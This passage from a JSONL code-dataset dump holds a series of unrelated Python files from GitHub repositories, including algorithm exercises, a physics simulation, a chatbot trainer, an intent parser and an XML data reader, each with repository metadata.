= CONDA_BASE/ename\n    sh(f\"conda create -n {ename} --yes\")\n    try:\n        assert main([ename]) == 0\n        assert copip.is_dir()\n\n        for script, cdir in [(COPIP_ON, 'activate.d'),\n                             (COPIP_OFF, 'deactivate.d')]:\n            src = CONDA_BASE/ename/'etc/conda'/cdir/script\n            assert src.is_file()\n            assert src.samefile(COPIP_DIR/script)\n    finally:\n        sh(f\"conda remove -n {ename} --all --yes\")\n\n\n# Main entry point\nif __name__ == '__main__':\n    sys.exit(main(sys.argv[1:]))\n","repo_name":"fperez/copip","sub_path":"copip.py","file_name":"copip.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"16"}
+{"seq_id":"21860107558","text":"from collections import deque\r\n\r\nmaze = deque([\r\n    input() for _ in range(8)\r\n])\r\n\r\ndef in_range(x, y):\r\n    return 0 <= x < 8 and 0 <= y < 8\r\n\r\ndef can_go(x, y):\r\n    if not in_range(x, y):\r\n        return False\r\n    \r\n    if maze[x][y] == '#':\r\n        return False\r\n    \r\n    return True\r\n\r\ndef bfs(x: int, y: int):\r\n    queue = deque([(x, y)])\r\n    \r\n    wall_down = 0\r\n    dxs, dys = [-1, -1, -1, 0, 1, 1, 1, 0, 0], [-1, 0, 1, 1, 1, 0, -1, -1, 0]\r\n    while queue:\r\n        length_queue = len(queue)\r\n        \r\n        for _ in range(length_queue):\r\n            cur_x, cur_y = queue.popleft()\r\n            \r\n            # 벽이 다 내려오거나, 그 전에 x가 0에 도달했을 땐 방해물이 없음\r\n            if wall_down == 8 or cur_x == 0:\r\n                return True\r\n            \r\n            # 내려오고 나서 현재 위치가 벽이면 다음 좌표 탐색\r\n            if maze[cur_x][cur_y] == '#':\r\n                continue\r\n            \r\n            for dx, dy in zip(dxs, dys):\r\n                nx, ny = cur_x + dx, cur_y + dy\r\n                \r\n                if can_go(nx, ny):\r\n                    queue.append((nx, ny))\r\n        \r\n        # 벽이 내려옴\r\n        maze.pop()\r\n        maze.appendleft('........')\r\n        wall_down += 1\r\n        \r\n    return False\r\n\r\nresult = bfs(7, 0)\r\n\r\nif result:\r\n    print(1)\r\n\r\nelse:\r\n    print(0)\r\n        ","repo_name":"KimChanw/Python_Algorithm","sub_path":"백준/Gold/16954. 움직이는 미로 탈출/움직이는 미로 탈출.py","file_name":"움직이는 미로 탈출.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11017381897","text":"#Um programa que receba numeros e some usando while, ate que o usuario deseje parar apertando 999\n\ncont = 0\nsoma = 0\nnum = 0\nnum = int(input(\"Digite um numero: (999 para sair):  \"))\nwhile num != 999:\n    cont += 1\n    soma += num\n    num = int(input(\"Digite um numero: (999 para sair):  \"))\nprint(f\"A soma dos {cont} numeros digitados e de {soma}\")\n","repo_name":"BarbaraSaporito/CursoEmVideoPython.","sub_path":"soma_numeros_while.py","file_name":"soma_numeros_while.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11002552021","text":"ins = [int(j) for j in input().split()]\r\n#taking inputs\r\nn = ins[0]\r\nk = ins[1]\r\nb = [int(j) for j in input().split()]\r\nanswer = 0\r\npage = 0\r\n#checking for each value of chapter\r\nfor chapter in b:\r\n    page += 1\r\n    for p in range(1, chapter+1):\r\n        if p == page:\r\n            answer += 1\r\n        if p%k == 0 and p != chapter:\r\n            page += 1\r\n#printing answer\r\nprint (answer)","repo_name":"darpanpal7/weeklycode","sub_path":"WEEKLYCODE#4/lisa_workbook/Python/lisa_workbook .py","file_name":"lisa_workbook .py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29588542119","text":"\nimport matplotlib.pyplot as pp\nimport numpy as np\n\nMODEL_G = 9.81\nMODEL_DT = 0.001\nMODEL_DM = 0.1     #Изменение массы за единицу времени\nMODEL_U = 30       #Скорость газа относительно ракеты\n\nclass Body:\n    def __init__(self, x, y, vx, vy):\n\n        self.x = x\n        self.y = y\n        self.vx = vx\n        self.vy = vy\n\n        self.trajectory_x = []\n        self.trajectory_y = []\n\n    def advance(self):\n\n        self.trajectory_x.append(self.x)\n        self.trajectory_y.append(self.y)\n\n        self.x += self.vx * MODEL_DT\n        self.y += self.vy * MODEL_DT\n        self.vy -= MODEL_G * MODEL_DT\n\nclass Rocket(Body):\n    def __init__(self, x, y, m):  #Добавяется масса ракеты (вместе с топливом)\n        super().__init__(x, y, 10, 10)\n        self.m = m\n                    \n    def advance(self):\n        super().advance()\n        if self.m >= 30:          #Масса корпуса ракеты без топлива\n            self.m -= MODEL_DM\n            v = (self.vx ** 2 + self.vy ** 2) ** 0.5\n            dv = MODEL_U * MODEL_DM / self.m         \n            self.vx += dv * self.vx / v             \n            self.vy += dv * self.vy / v\n\nb = Body(0, 0, 10, 10)\nr = Rocket(0, 0, 50)\n\nbodies = [b, r]\n\nfor t in np.r_[0:2:MODEL_DT]:\n    for b in bodies:\n        b.advance()\n\nfor b in bodies:\n     pp.plot(b.trajectory_x, b.trajectory_y) \npp.show()","repo_name":"Zpryakhin/bek_mek","sub_path":"rocket.py","file_name":"rocket.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1116707770","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@Time    : 2021/2/26 6:54 下午\n@Author  : mc\n@File    : solution.py\n@Software: PyCharm\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\n\nclass Solution:\n    def preorderTraversal(self, root: TreeNode):\n        \"\"\"\n        递归实现\n        :param root:\n        :return:\n        \"\"\"\n        res = []\n\n        def preorder(root, res):\n            if not root:\n                return\n            res.append(root.val)\n            if root.left:\n                preorder(root.left, res)\n            if root.right:\n                preorder(root.right, res)\n\n        preorder(root, res)\n        return res\n\n    def preorderTraversal(self, root: TreeNode):\n        \"\"\"\n        非递归实现\n        :param root:\n        :return:\n        \"\"\"\n        res = []\n        stack = []\n        while stack or root:\n            while root:\n                res.append(root.val)\n                stack.append(root)\n                root = root.left\n            root = stack.pop()\n            root = root.right\n        return res\n","repo_name":"BillyChao/leetcode","sub_path":"144-二叉树的前序遍历/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35935416887","text":"# Valid commands\nADD = \"ADD-COURSE-OFFERING\"\nREGISTER = \"REGISTER\"\nALLOT = \"ALLOT\"\nCANCEL = \"CANCEL\"\n\n# data types of arguments different commands support\nCOMMANDS_METADATA = {\n    ADD: (str, str, str, int, int),\n    REGISTER: (str, str),\n    ALLOT: (str,),\n    CANCEL: (str,)\n}\n\n# commands and expected parameters\nSUPPORTED_COMMANDS = (\n    \"ADD-COURSE-OFFERING <course-name> <instructor>\"\n    \" <date-in-ddmmyyyy> <minEmployees> <maxEmployees>\\n\"\n    \"REGISTER <email-id> <course-offering-id>\\n\"\n    \"ALLOT-COURSE <course-offering-id>\\n\"\n    \"CANCEL <course-registration-id>\\n\"\n)\n\n# arguments supported while starting the app from command line\nSUPPORTED_APP_ARGS = (\"module name\", \"file path\")\n","repo_name":"SectumPsempra/command-line-app","sub_path":"config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70800893128","text":"import pandas as pd\nimport numpy as np\nimport sys\nimport os\nimport datetime\nfrom datetime import timedelta\nimport utils\n\n\ndef calculate_watwin(main_table, subject_id):\n    subject_events = main_table.loc[main_table[\"SubjectID\"] == subject_id]\n\n    subject_events.sort_values(by=['Order'])\n    compiles = subject_events[subject_events[\"EventType\"] == \"Compile\"]\n    compile_errors = subject_events[subject_events[\"EventType\"] == \"Compile.Error\"]\n\n    if len(compiles) <= 1:\n        return None\n\n    # time estimation: time_diff of (e_i,e_i+1) is written on e_i\n    # calculate time estimation, mean and std for each subject:\n    time_arr = {}\n    mean_dict = {}\n    std_dict = {}\n\n    for subj in range(len(compiles) - 1):\n        # Only look at consecutive compiles within a single assignment/problem/session\n        # Before starting the algorithm:\n        # Watson (2013) requires deletion fixes and commented fixes, we assume dataset have done this\n        changed_segments = False\n        for segment_id in [\"SessionID\", \"ProblemID\", \"AssignmentID\"]:\n            if segment_id not in compiles:\n                continue\n            if compiles[segment_id].iloc[subj] != compiles[segment_id].iloc[subj + 1]:\n                changed_segments = True\n                break\n        if changed_segments:\n            continue\n\n        sum_time = 0\n        count_time = 0\n\n        if len(compiles) > 1:\n            time_arr[subj] = {}\n            for i in range(len(compiles) - 1):\n                # remove the identical pairs of events by their CodeStateID\n                if compiles[\"CodeStateID\"].iloc[i + 1] != compiles[\"CodeStateID\"].iloc[i]:\n                    # Get all compile errors associated with compile events e1 and e2\n                    e1_errors = compile_errors[compile_errors[\"ParentEventID\"] == compiles[\"EventID\"].iloc[i]]\n                    e2_errors = compile_errors[compile_errors[\"ParentEventID\"] == compiles[\"EventID\"].iloc[i + 1]]\n                    # If e1 compile resulted in error\n                    if len(e1_errors) > 0:\n                        datetimeformat = '%Y-%m-%dT%H:%M:%S'\n                        date1 = datetime.datetime.strptime(compiles[\"ServerTimestamp\"].iloc[i + 1], datetimeformat)\n                        date2 = datetime.datetime.strptime(compiles[\"ServerTimestamp\"].iloc[i], datetimeformat)\n                        time_diff = ((((date1.month - date2.month) * 30 + (date1.day - date2.day)) * 24 + (\n                                    date1.hour - date2.hour)) * 60 + (date1.minute - date2.minute)) * 60 + (\n                                                date1.second - date2.second)\n                        sum_time += time_diff\n                        count_time = count_time + 1\n                        time_arr[subj][compiles[\"CodeStateID\"].iloc[i]] = time_diff\n\n            if count_time != 0:\n                mean_time = sum_time / count_time\n                mean_dict[subj] = mean_time\n                std_time = np.std(np.asarray(list(time_arr[subj].values())))\n                std_dict[subj] = std_time\n\n    # add TimeEst, TimeMean, and TimeStd to compiles dataframe\n    compiles[\"TimeEst\"] = [time_arr[compiles[\"SubjectID\"][i]][compiles[\"CodeStateID\"][i]] if compiles[\"SubjectID\"][i] in time_arr.keys() and compiles[\"CodeStateID\"][i] in time_arr[compiles[\"SubjectID\"][i]].keys() else -1 for i in range(len(compiles))]\n    compiles[\"TimeMean\"] = [mean_dict[i] if i in mean_dict.keys() else 0 for i in compiles[\"SubjectID\"]]\n    compiles[\"TimeStd\"] = [std_dict[i] if i in std_dict.keys() else 0 for i in compiles[\"SubjectID\"]]\n\n    # begin calculate WatWin scores:\n    score = 0\n    pair_count = 0\n\n    for i in range(len(compiles) - 1):\n        # Only look at consecutive compiles within a single assignment/problem/session\n        changed_segments = False\n        for segment_id in [\"SessionID\", \"ProblemID\", \"AssignmentID\"]:\n            if segment_id not in compiles:\n                continue\n            if compiles[segment_id].iloc[i] != compiles[segment_id].iloc[i + 1]:\n                changed_segments = True\n                break\n        if changed_segments:\n            continue\n\n        pair_count += 1\n\n        # remove identical pairs\n        if compiles[\"CodeStateID\"].iloc[i] != compiles[\"CodeStateID\"].iloc[i + 1]:\n            # Get all compile errors associated with compile events e1 and e2\n            e1_errors = compile_errors[compile_errors[\"ParentEventID\"] == compiles[\"EventID\"].iloc[i]]\n            e2_errors = compile_errors[compile_errors[\"ParentEventID\"] == compiles[\"EventID\"].iloc[i + 1]]\n            # if former event has error\n            if len(e1_errors) > 0:\n                # if later event has error\n                if len(e2_errors) > 0:\n                    # Get the set of errors shared by both compiles\n                    shared_errors = set(e1_errors[\"CompileMessageType\"]).intersection(set(e2_errors[\"CompileMessageType\"]))\n                    # if same full message\n                    if e1_errors[\"ProgramErrorOutput\"] == e2_errors[\"ProgramErrorOutput\"]:\n                        score += 4\n                    # if same error type\n                    if len(shared_errors) > 0:\n                        score += 4\n\n                    # TODO: Watson (2013) requires for error line number of compiled code\n                    # if same line\n                    if err_df[\"SourceLocation\"].iloc[i].split(':')[1] == err_df[\"SourceLocation\"].iloc[i + 1].split(':')[1]:\n                        score += 2\n\n                    # if time < M - 1SD\n                    if compiles[\"TimeEst\"].iloc[i] < (\n                            compiles[\"TimeMean\"].iloc[i] - compiles[\"TimeStd\"].iloc[i]):\n                        score += 1\n                    else:\n                        # if time > M - 1SD\n                        if compiles[\"TimeEst\"].iloc[i] > (\n                                compiles[\"TimeMean\"].iloc[i] - compiles[\"TimeStd\"].iloc[i]):\n                            score += 25\n                        else:\n                            score += 15\n                # if later event does not have error\n            else:\n                # if time < M - 1SD\n                if compiles[\"TimeEst\"].iloc[i] < (\n                        compiles[\"TimeMean\"].iloc[i] - compiles[\"TimeStd\"].iloc[i]):\n                    score += 1\n                else:\n                    # if time > M - 1SD\n                    if compiles[\"TimeEst\"].iloc[i] > (\n                            compiles[\"TimeMean\"].iloc[i] - compiles[\"TimeStd\"].iloc[i]):\n                        score += 25\n                    else:\n                        score += 15\n\n    if pair_count == 0:\n        return None\n\n    watwin = (score / 35.) / (len(compiles) - 1.)\n    return watwin\n\n\nif __name__ == \"__main__\":\n    read_path = \"./data\"\n    write_path = \"./out/WatWin.csv\"\n\n    if len(sys.argv) > 1:\n        read_path = sys.argv[1]\n    if len(sys.argv) > 2:\n        write_path = sys.argv[2]\n\n    main_table_df = pd.read_csv(os.path.join(read_path, \"MainTable.csv\"))\n    watwin_map = utils.calculate_metric_map(main_table_df, calculate_watwin)\n    print(watwin_map)\n    utils.write_metric_map(\"WatWinScore\", watwin_map, write_path)\n","repo_name":"thomaswp/ProgSnap2Analysis","sub_path":"dev/watwin.py","file_name":"watwin.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"14263690030","text":"#This the code for the machine learning model that is built form tensorflow and the higher level api tftlearn because I am not very good a machine learning yet. Also, pardon my grammar. \n\n#For this to work properly and to see the model being trained, you need to use pip to install tensorflow, tflearn, and nltk\nimport json\nimport random\nimport tensorflow\nimport tflearn\nimport numpy\nimport nltk\nfrom nltk.stem.lancaster import LancasterStemmer\nimport os \n\n#I am using the Lancaster method of stemming words, which is the process of finding the root of the word \nstemmer = LancasterStemmer()\nnltk.download('punkt')\n\n#Function to train the model which will be called in the Main python file \ndef TrainModel():\n\n    #Using a json file because of the easy formatting of tags, patterns and responses \n    with open('intents.json') as file:\n        data = json.load(file)\n\n    #Initializing, allWords will be a list of all the indivual unique words \n    #tags will be a list of all the tags in the json file\n    #allPatterns will be a list containing lists of all the patterns tokenized \n    #tagsForEachPattern will corrospond a tag for all the patterns in allPatterns   \n    allWords = []\n    tags = []\n    allPatterns = []\n    tagsForEachPattern = []\n\n    #This for loop will populate the 4 previous lists\n    for intent in data['intents']:\n        \n        #Loops through each pattern in the Json file invidualy \n        for pattern in intent['patterns']:\n            #Each pattern is tokenized, or in other words, divides a string into a list of word substrings \n            wordList = nltk.word_tokenize(pattern)\n            #Using the extend method, wordList is iterated over to add each element into allWords \n            allWords.extend(wordList)\n            #The entire tokenized pattern list is added to allPatterns as a single element \n            allPatterns.append(wordList)\n            #Gets the tag for the pattern and adds it \n            tagsForEachPattern.append(intent['tag'])\n\n        #this creates a list of tags where each tag is unique \n        if intent['tag'] not in tags:\n            tags.append(intent['tag'])\n\n    #The allWords list is turned lowercase and stemmed removing the questions marks. Then its sorted into a list of unique words \n    allWords = [stemmer.stem(w.lower()) for w in allWords if w != '?']\n    allWords = sorted(list(set(allWords)))\n\n    #These two list are going to be used to train our model \n    #The training list is all the data the model is going to use for its predictions\n    #The output list will get the tag that the model should predict for each pattern \n    training = []\n    output = []\n\n    #A list of 0 the spans the length of the tags list which will be used during our Bag of Words process \n    outEmpty = [0 for i in range(len(tags))]\n\n    #This for loop is runnnig the Bag of Words process because a model needs to trained using numbers and not strings\n    for index, pattern in enumerate(allPatterns):\n        #This bag list will become the length of allWords and will be made up of 0s and 1s\n        #If a word in the pattern is in allWords then a 1 is appended, else a 0 is appened \n        bag = []\n\n        #This created a list of stemmed words from the pattern to compare to the stemmed words in allWords \n        wordList = [stemmer.stem(w.lower()) for w in pattern]\n        for word in allWords:\n            if word in wordList:\n                bag.append(1)\n            else:\n                bag.append(0)\n        \n        #outputRow is the length of tags with all 0s except for one 1. This 1 is what tag relates to the pattern of the bag list\n        outputRow = outEmpty[:]\n        outputRow[tags.index(tagsForEachPattern[index])] = 1\n\n        #all the data is added to the training and output lists \n        training.append(bag)\n        output.append(outputRow)\n  \n    #Setting up tensorflow and the neural networks\n    tensorflow.compat.v1.reset_default_graph()\n\n    #Brings the data into the system for processing \n    net = tflearn.input_data(shape=[None, len(training[0])])\n    #Creates 2 more layers each with 10 \"neurons\"\n    net = tflearn.fully_connected(net, 10)\n    net = tflearn.fully_connected(net, 10)\n    #This creates the output layer after data is processed by the previous layers \n    net = tflearn.fully_connected(net, len(output[0]), activation='softmax')\n    #This uses regressions to predict the tag \"or the numerical value of the tag\" by using previous data \n    net = tflearn.regression(net)\n\n    # This now trains the model using DNN \"Deep Neural Network\" and saves the model to a file\n    \n    #However, I already trained the model, so it wont train it again. But if you want to see it train the model, just change the if statement file name. \n    model = tflearn.DNN(net)\n    if os.path.exists('model.tflearn' + '.meta'):\n      model.load('model.tflearn')\n    else:\n      model.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True)\n      model.save('model.tflearn')\n\n    return model, allWords, tags, data ","repo_name":"elyskrie21/Eliza","sub_path":"TrainModel.py","file_name":"TrainModel.py","file_ext":"py","file_size_in_byte":5021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6784040124","text":"from docx import *\n\"\"\"\nhttps://github.com/python-openxml/python-docx/pull/716/commits/c09da22afaebaed2f0a3139de6ba46c8824f179e\n\ndocx/__init__.py\n31 + PartFactory.part_type_for[CT.WML_DOCUMENT_MACRO_ENABLED_MAIN] = DocumentPart\ndocx/api.py\n   - if document_part.content_type != CT.WML_DOCUMENT_MAIN:\n26 + if (document_part.content_type != CT.WML_DOCUMENT_MAIN) and (document_part.content_type != CT.WML_DOCUMENT_MACRO_ENABLED_MAIN):\n\ndocx/opc/constants.py\n283 +    WML_DOCUMENT_MACRO_ENABLED_MAIN = (\n284 +        'application/vnd.ms-word.document.macroEnabled.main+xml'\n285 +    )\n\"\"\"\n\ndocument = Document('./work_docs/doc_with_macros.docm')\n\nfor t in document.tables:\n    for row in t.rows:\n        for cell in row.cells:\n            for p in cell.paragraphs:\n                for run in p.runs:\n                    if run.font.highlight_color is None:\n                        run.font.hidden = True\n\nfor p in document.paragraphs:\n    for run in p.runs:\n\n        if run.font.highlight_color is None:\n            run.font.hidden = True\n\ndocument.save('./work_docs/done/doc_with_macros.docm')","repo_name":"mursigkeit22/Document_processing","sub_path":"_7_change_pydocx_for_docm.py","file_name":"_7_change_pydocx_for_docm.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12856922443","text":"from adapt.intent import IntentBuilder\nfrom adapt.engine import IntentDeterminationEngine\n\nengine = IntentDeterminationEngine()\n\nweather_keyword = [\n    \"weather\"\n]\n\nfor wk in weather_keyword:\n    engine.register_entity(wk, \"WeatherKeyword\")\n\nweather_types = [\n    \"snow\",\n    \"rain\",\n    \"wind\",\n    \"sleet\",\n    \"sun\"\n]\n\nfor wt in weather_types:\n    engine.register_entity(wt, \"WeatherType\")\n\nlocations = [\n    \"Seattle\",\n    \"San Francisco\",\n    \"Tokyo\",\n    \"Vancouver\"\n]\n\nfor loc in locations:\n    engine.register_entity(loc, \"Location\")\n\nweather_intent = IntentBuilder(\"WeatherIntent\")\\\n    .require(\"WeatherKeyword\")\\\n    .optionally(\"WeatherType\")\\\n    .require(\"Location\")\\\n    .build()\n\nengine.register_intent_parser(weather_intent)\n\n\ndef get_intent(message):\n    for intent in engine.determine_intent(message):\n        if intent.get('confidence') > 0:\n            return intent\n","repo_name":"Sudo-Kid/django_adatp_demo","sub_path":"home/adapt.py","file_name":"adapt.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12279212477","text":"from tf_donkey import Model\n\ndef VideoDrive(ckpt, video_path, num_bins=15, in_shape=(120,160,3),\n               car_ip=\"192.168.43.56\", port=5555, pwm_min_max=(-0.5, 0.5), steering_range_deg=40):\n\n    classes = [x for x in range(num_bins)]\n    car_brain = Model(\"test_name\", in_shape=in_shape, classes=classes)\n    car_brain.VideoDrive(ckpt, video_path, car_ip)\n\ndef main():\n    import argparse as argparse\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--mode', type=str, required=True)\n    parser.add_argument('--ckpt-path', type=str, required=True)\n    parser.add_argument('--video-path', type=str, required=True)\n    parser.add_argument('--num-bins', type=int, required=True)\n    parser.add_argument('--vid-w', type=int,    required=False, default=160)\n    parser.add_argument('--vid-h', type=int,    required=False, default=120)\n    parser.add_argument('--vid-chan', type=int, required=False, default=3)\n    parser.add_argument('--car-ip', type=str, required=True)\n    parser.add_argument('--port', type=float, required=True)\n    parser.add_argument('--steering-range-deg', type=float, required=False, default=40)\n    parser.add_argument('--pwm-min', type=float, required=False, default=-0.5)\n    parser.add_argument('--pwm-max', type=float, required=False, default=0.5)\n\n    args        = parser.parse_args()\n    mode        = args.mode\n    ckpt        = args.ckpt_path\n    #ckpt        = \"ep_19-step_161-loss_0.944.ckpt\"\n    video_path  = args.video_path\n    #video_path  = \"/home/jp/Documents/FYP/ml/data/videoplayback.mp4\"\n    num_bins    = args.num_bins\n    in_shape    = [args.vid_h, args.vid_w, args.vid_chan]\n    car_ip      = args.car_ip\n    port        = args.port\n    pwm_min_max = (args.pwm_min, args.pwm_max)\n    steering_range_deg = args.steering_range_deg\n\n    print(\"mode: {}\".format(args.mode))\n    if mode == \"video-drive\":\n#        print(f\"ckpt:               {ckpt}\")\n#        print(f\"video_path:         {video_path}\")\n#        print(f\"num_bins:           {num_bins}\")\n#        print(f\"in_shape:           {in_shape}\")\n#        print(f\"car_ip:             {car_ip}\")\n#        print(f\"port:               {port}\")\n#        print(f\"pwm_min_max:        {pwm_min_max}\")\n#        print(f\"steering_range_deg: {steering_range_deg}\")\n        VideoDrive(ckpt, video_path, num_bins, in_shape, car_ip, port, pwm_min_max, steering_range_deg)\n    else:\n        print(f\"mode: '{mode}' is not valid :-(\")\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"tall-josh/fyp_diy_robo_car","sub_path":"end2end/video_infer.py","file_name":"video_infer.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"71832248327","text":"#question-1 (Area And Circumference)\nclass circle:\n    def __init__(self, r):\n        self.radius = r\n    def getArea(self):\n        return(3.14*self.radius*self.radius)\n    def getCircumference(self):\n        return(2*3.14*self.radius)\nr = int(input(\"enter the radius of circle\"))\nc = circle(r)\nprint(\"the area of circle is \",c.getArea())\nprint(\"the circumference of circle is \",c.getCircumference())\n\n\n\n#question-2\nclass student:\n    def __init__(self):\n        self.name = (input(\"enter your name \"))\n        self.rollno = int(input(\"enter rollno \"))\n    def setAge(self):\n        self.age = int(input(\"enter your age \"))\n    def setMarks(self):\n        self.marks = int(input(\"enter the  marks \"))\n    def display(self):\n        print(\"name:\",self.name,\"\\n\",\"rollno:\",self.rollno,\"\\n\",\"age:\",self.age,\"\\n\",\"marks:\",self.marks)\ns = student()\ns.setAge()\ns.setMarks()\ns.display()\n\n\n\n\n#question-3\nclass temperature:\n    def convertFahrenheit(self):\n        self.c = int(input(\"enter temperature in celsius \"))\n        return((9/5)*self.c+32)\n    def convertCelsius(self):\n        self.f = int(input(\"enter temperature in Fahrenheit \"))\n        return(((self.f-32)*5)/9)\nt = temperature()\nprint(t.convertFahrenheit())\nprint(t.convertCelsius())\n\n\n\n\n#question-4\nclass Movie:\n    def __init__(self):\n        self.artistname = input(\"enter artist name :\")\n        self.year_of_release = input(\"enter year :\")\n        self.rating = int(input(\"enter ratings out of 10 :\"))\n    def add(self):\n        self.movie_name = input(\"enter the movie name :\")\n        self.collection = int(input(\"enter total collection :\"))\n    def display(self):\n        print(self.movie_name)\n        print(self.artistname)\n        print(self.year_of_release)\n        print(self.rating)\n        print(self.collection)\nm = Movie()\nm.add()\nm.display()\n\n\n\n\n#question-5\nclass animal:\n    def animal_attribute(self):\n        return(\"print tiger.\")\nclass Tiger(animal):\n    pass\nt = Tiger()\nprint(t.animal_attribute())\n\n\n\"\"\"\n#question-6\noutput will be:\nA B\nA B\n\"\"\"\n\n\n\n#question-7\nclass shape:\n    def __init__(self, l, b):\n        self.length = l\n        self.breadth = b\n    def area(self):\n        return(self.length*self.breadth)\nclass rectangle(shape):\n    pass\nclass square(shape):\n    pass\nl = int(input(\"enter the length \"))\nb = int(input(\"enter the breadth \"))\nr = rectangle(l, b)\ns = square(l, b)\nprint(\"area of rectangle \", r.area())\nprint(\"area of square \", s.area())","repo_name":"yashasvi128/Assignments","sub_path":"classes_&_obj2/assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73648359047","text":"# Python练习题问题如下：\n\n# 简述：要求输入某年某月某日\n# 提问：求判断输入日期是当年中的第几天？\n\n# Python解题思路分析：\n# 我们就以3月5日这一天为例。首先把前两个月的加起来，然后再加上5天即本年的第几天。这里有一种特殊的情况，就是闰月，遇到这种情况且输入月份大于2时需考虑多加一天。如果不是很明白，可以看下边的python源码。\n\nimport calendar\n\nyear = 2015\nmonth = 6\nday = 7\ndays = 0\n\nfor i in range(1, month):\n    monthDay = 0\n    \n    if i == 2:\n        if (year % 4 == 0 and year % 100 != 0) or (year % 400 == 0):\n            monthDay = 29\n            days += monthDay\n        else:\n            monthDay = 28\n            days += monthDay\n    else:\n        monthDay = calendar.monthrange(year, i)[1]\n        days += monthDay\n\n    print('{} 月: {}'.format(i, monthDay))\n\nprint('{} 月: {}'.format(month, day))\ndays += day\n\nprint('Days: {}'.format(days))","repo_name":"FlyMaple/iplaypy-100","sub_path":"python_project/004.py","file_name":"004.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37095065125","text":"from xml.dom import minidom #Unfortunately required as ElementTree won't pretty format xml\nimport xml.etree.ElementTree as ET   #for parsing XML\nimport base64\nimport struct\nimport numpy as np\nimport re\nimport collections\nimport decimal as DC\n\nclass AnasysElement(object):\n# class AnasysElement(collections.abc.Mapping):\n    \"\"\"Blank object for storing xml data\"\"\"\n    def __init__(self, parent_obj=None, etree=None):\n        self._parent_obj = parent_obj\n        self._attributes = []   #list of dicts of tags:attributes, where applicable\n        if not hasattr(self, '_iterable_write'):\n            self._iterable_write = {} #just in case\n        if not hasattr(self, '_special_write'):\n            self._special_write = {} #just in case\n        if not hasattr(self, '_special_read'):\n            self._special_read = {} #just in case\n        if not hasattr(self, '_skip_on_write'):\n            self._skip_on_write = [] #just in case\n        if etree is not None:\n            self._etree_to_anasys(etree) #really just parses the hell outta this tree\n\n    def __dir__(self):\n        \"\"\"Returns a list of user-accessible attributes\"\"\"\n        vars_and_funcs = [x for x in object.__dir__(self) if x[0]!='_']\n        return vars_and_funcs\n\n    def __getitem__(self, key):\n        \"\"\"Class attributes can be called by subscription, e.g. Foo['bar']\"\"\"\n        items = dir(self)\n        if key in items:\n            return getattr(self, key)\n        else:\n            raise KeyError\n\n    def __iter__(self):\n        \"\"\"Makes object iterable. Returns all user-accessible, non-method, attributes\"\"\"\n        for obj in dir(self):\n            if not callable(self[obj]):\n                yield self[obj]\n\n    def _get_iterator(self, obj):\n        \"\"\"For use with _anasys_to_etree. Returns a dict to iterate over, or None\"\"\"\n        #If obj is a dict, return its items\n        if type(obj) == dict:\n            return obj#.items()\n        #If obj is derived from AnasysElement, return its user-accessible attributes that aren't in _skip_on_write\n        elif isinstance(obj, AnasysElement):\n            return {k: obj[k] for k in obj.__dict__.keys() if k[0] != '_' and k not in obj._skip_on_write}\n        #If it's something else, return None. _anasys_to_etree will test for this condition\n        else:\n            return None\n\n    def _object_to_text(self, obj):\n        \"\"\"Takes an object, returns it to text to append to an etree object\"\"\"\n        if isinstance(obj, np.ndarray):\n            return self._encode_bs64(obj)\n        else:\n            return str(obj)\n\n    def _anasys_to_etree(self, obj, name=\"APlaceholder\"):\n        \"\"\"Return object and all sub objects as an etree object for writing\"\"\"\n        # Create new element for appending tags to\n        obj_items = self._get_iterator(obj)\n        #Test object list for None, indicating it's time to return some text\n        if obj_items is None:\n            txt = self._object_to_text(obj)\n            rtn = ET.Element(name)\n            rtn.text = txt\n            return rtn\n        #Odd case where there's no text and nothing to return\n        if obj_items == {}:\n            return ET.Element(name)\n        #If it's made it this far, it's time to loop through obj_items\n        elem = ET.Element(name)\n        # pdb.set_trace()\n        for k, v in obj_items.items():\n            #If element was once an xml attribute, make it so again\n            try: #Too lazy to deal with the fact dicts won't have this attribute\n                if k in obj._attributes:\n                    elem.set(k, v)\n                    continue\n            except: #If axz's had unique tag names I wouldn't have to do this\n                pass\n            #Iterable conversions\n            if k in obj._iterable_write.keys():\n                obj._iterable_to_etree(elem, k, 